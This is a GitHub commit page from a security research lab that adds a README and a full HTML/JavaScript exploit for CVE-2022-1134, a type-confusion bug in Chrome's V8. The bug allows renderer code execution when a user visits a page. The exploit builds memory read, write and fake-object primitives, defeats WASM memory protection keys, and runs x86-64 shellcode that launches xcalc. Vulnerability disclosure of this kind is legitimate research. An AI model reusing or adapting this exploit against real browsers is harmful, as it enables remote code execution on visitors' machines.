8000 Initial commit · github/securitylab@a2d2f8f · GitHub
[go: up one dir, main page]

Skip to content

Commit a2d2f8f

Browse files
committed
Initial commit
1 parent a9d0b61 commit a2d2f8f

File tree

2 files changed

+261
-0
lines changed

2 files changed

+261
-0
lines changed
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#Chrome renderer RCE CVE-2022-1134
2+
3+
The write up can be found [here](https://github.blog/2022-06-29-the-chromium-super-inline-cache-type-confusion/). This is a bug in the v8 that I reported in March 2022. This bug allows RCE in the Chrome renderer sandbox by simply visiting a malicious website.
4+
5+
The exploit is tested with the Linux official build of Chrome version `99.0.4844.84` with the following revision (this can be checked from `chrome://version`):
6+
7+
```
8+
Chromium 99.0.4844.84 (Official Build) (64-bit)
9+
Revision 81a11fc2ee8a41e17451f29195387f276d3bb379-refs/branch-heads/4844_74@{#6}
10+
```
11+
12+
For reference, the tested binary is compiled with the following flags, following the instructions to compile Chrome [here](https://chromium.googlesource.com/chromium/src/+/main/docs/linux/build_instructions.md):
13+
14+
```
15+
is_debug = false
16+
symbol_level = 2
17+
blink_symbol_level = 2
18+
dcheck_always_on = false
19+
is_official_build = true
20+
chrome_pgo_phase = 0
21+
```
22+
23+
To test, host the file `superic_rce.html` and then open it in Chrome with the `--no-sandbox` flag:
24+
25+
```
26+
./chrome --user-data-dir=/tmp/chromium_data --no-sandbox
27+
```
28+
29+
If successful, it'll pop `xcalc` instantly (on Ubuntu). The exploit should be very reliable and I've not experience any failure with it.
Lines changed: 232 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,232 @@
1+
<html>
2+
<script>
3+
4+
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
5+
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xbb, 0x6c, 0x63, 0x00, 0x00, 0x53, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x53, 0x54, 0x5f, 0x56, 0x57, 0x54, 0x5e, 0xbb, 0x3a, 0x30, 0x2e, 0x30, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xf, 0x5];
6+
7+
var wasmMemoryProtectionKeysOffset = 0x34a086n;
8+
9+
var loopCount = 0x10;
10+
var view = new ArrayBuffer(24);
6D40 11+
var dblArr = new Float64Array(view);
12+
var intView = new Int32Array(view);
13+
var bigIntView = new BigInt64Array(view);
14+
var flArr = new Float32Array(view);
15+
16+
var decoderBufferOffset = 0x8;
17+
18+
function f32toi(f) {
19+
flArr[0] = f;
20+
return intView[0];
21+
}
22+
23+
function ftoi32(f) {
24+
dblArr[0] = f;
25+
return [intView[0], intView[1]];
26+
}
27+
28+
function i32tof(i1, i2) {
29+
intView[0] = i1;
30+
intView[1] = i2;
31+
return dblArr[0];
32+
}
33+
34+
function itof(i) {
35+
bigIntView[0] = i;
36+
return dblArr[0];
37+
}
38+
39+
function ftoi(f) {
40+
dblArr[0] = f;
41+
return bigIntView[0];
42+
}
43+
44+
function i32toi(i_lo, i_hi) {
45+
intView[0] = i_lo;
46+
intView[1] = i_hi;
47+
return bigIntView[0];
48+
}
49+
50+
class SubAudioData extends AudioData {
51+
constructor(addr) {
52+
let input = audioDataInput;
53+
input.timestamp = addr;
54+
super(input);
55+
}
56+
57+
getFakeObj() {
58+
return super.signal;
59+
}
60+
}
61+
62+
class SubMatrix extends DOMMatrix {
63+
constructor(addr) {
64+
let input = matrixInput;
65+
input[10] = itof(BigInt(addr - 0x18));
66+
super(input);
67+
}
68+
69+
readContent() {
70+
return super.interval;
71+
}
72+
}
73+
74+
var height = 4;
75+
var width = 3;
76+
77+
class SubImg extends ImageData {
78+
constructor(imgData) {
79+
super(imgData, height,width);
80+
}
81+
82+
getAddr() {
83+
return super.m21;
84+
}
85+
}
86+
87+
var audioBufferInput = {length: 30000, sampleRate: 4000};
88+
var audioDataInput = {format: "u8", sampleRate: 4000, numberOfFrames: 100, numberOfChannels: 1, timestamp: 0, data : new Int8Array(100)};
89+
//matrix memory layout: m12 = matrix_[0][1], m21 = matrix_[1][0] ... double arrays
90+
var matrixInput = [11,12,13,14,21,22,23,24,31,32,33,34,41,42,43,44];
91+
92+
var domMatrixImg = new DOMMatrix(matrixInput);
93+
94+
var audioData = new AudioData(audioDataInput);
95+
96+
var req = new Request({});
97+
98+
var motionEvent = new DeviceMotionEvent({});
99+
100+
function leakImageAddr(i) {
101+
domMatrixImg['a' + i] = 1;
102+
if (i < loopCount) {
103+
SubImg.prototype.__proto__ = {};
104+
} else {
105+
SubImg.prototype.__proto__ = domMatrixImg;
106+
}
107+
domMatrixImg.m21;
108+
let addr = img.getAddr();
109+
return Number(ftoi(addr));
110+
}
111+
112+
function readFrom(i, subMatrix) {
113+
motionEvent['a' + i] = 1;
114+
if (i < loopCount) {
115+
SubMatrix.prototype.__proto__ = {};
116+
} else {
117+
SubMatrix.prototype.__proto__ = motionEvent;
118+
}
119+
motionEvent.interval;
120+
let addr = subMatrix.readContent();
121+
return addr;
122+
}
123+
124+
function createFakeObj(i, addr) {
125+
req['a' + i] = 1;
126+
if (i < loopCount) {
127+
SubAudioData.prototype.__proto__ = {};
128+
} else {
129+
SubAudioData.prototype.__proto__ = req;
130+
}
131+
req.signal;
132+
return subAudio.getFakeObj();
133+
}
134+
135+
function addrOf(obj) {
136+
objArr[0] = obj;
137+
return ftoi32(fakeDblArr[5])[0];
138+
}
139+
140+
function compressedRead(addr) {
141+
doubleArr[1] = i32tof(addr - 0x8, 0x1000);
142+
let out = fakeDblArr[0];
143+
doubleArr[1] = doubleArrDefault;
144+
return out;
145+
}
146+
147+
function compressedWrite(addr, value) {
148+
doubleArr[1] = i32tof(addr - 0x8, 0x1000);
149+
fakeDblArr[0] = value;
150+
doubleArr[1] = doubleArrDefault;
151+
}
152+
153+
var imgDataStore = new ArrayBuffer(48);
154+
var imgData = new Uint8ClampedArray(imgDataStore);
155+
var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5];
156+
var objArr = [imgData];
157+
158+
var img = new SubImg(imgData);
159+
160+
for (let i = 0; i < loopCount; i++) {
161+
leakImageAddr(i);
162+
}
163+
164+
let imgAddr = leakImageAddr(loopCount);
165+
166+
let mainWorldMatrix = new SubMatrix(imgAddr + 0x8);
167+
168+
for (let i = 0; i < loopCount; i++) {
169+
readFrom(i, mainWorldMatrix);
170+
}
171+
172+
let mainWorldWrapper = Number(ftoi(readFrom(loopCount, mainWorldMatrix)));
173+
174+
let wrapperMatrix = new SubMatrix(imgAddr);
175+
176+
let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));
177+
178+
let v8AddrMatrix = new SubMatrix(mainWorldWrapper);
179+
180+
let v8TypedArrayAddr = Number(ftoi(readFrom(loopCount, v8AddrMatrix)));
181+
182+
let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1);
183+
let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1];
184+
185+
let fakeWrapper64View = new BigInt64Array(imgDataStore);
186+
fakeWrapper64View[0] = BigInt(v8TypedArrayAddr + 0x50);
187+
188+
var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0;
189+
var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000);
190+
191+
//map + properties
192+
doubleArr[0] = i32tof(doubleMap, 0x8002249);
193+
//elements + length
194+
doubleArr[1] = doubleArrDefault;
195+
doubleArr[2] = i32tof(0x8002249, 0x1000);
196+
doubleArr[3] = 1.1;
197+
198+
//Add 0x8 to skip vtable, so that the fake main_world_wrapper_ points to the address of the datastore
199+
var subAudio = new SubAudioData(imgAddr + 0x8);
200+
201+
for (let i = 0; i < loopCount; i++) {
202+
createFakeObj(i);
203+
}
204+
var fakeDblArr = createFakeObj(loopCount);
205+
206+
var shellArray = new Uint8Array(100);
207+
shellArray.fill(0x41);
208+
209+
var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
210+
var shellArrayAddr = addrOf(shellArray);
211+
212+
compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
213+
for (let i = 0; i < 8; i++) {
214+
shellArray[i] = 0;
215+
}
216+
217+
var module = new WebAssembly.Module(code);
218+
var instance = new WebAssembly.Instance(module);
219+
var wasmMain = instance.exports.main;
220+
221+
var instanceAddr = addrOf(instance);
222+
var wasmRWX = compressedRead(instanceAddr + 0x60);
223+
224+
compressedWrite(shellArrayAddr + 0x2c, wasmRWX);
225+
for (let i = 0; i < shellCode.length; i++) {
226+
shellArray[i] = shellCode[i];
227+
}
228+
wasmMain();
229+
</script>
230+
<body>
231+
</body>
232+
</html>

0 commit comments

Comments
 (0)
0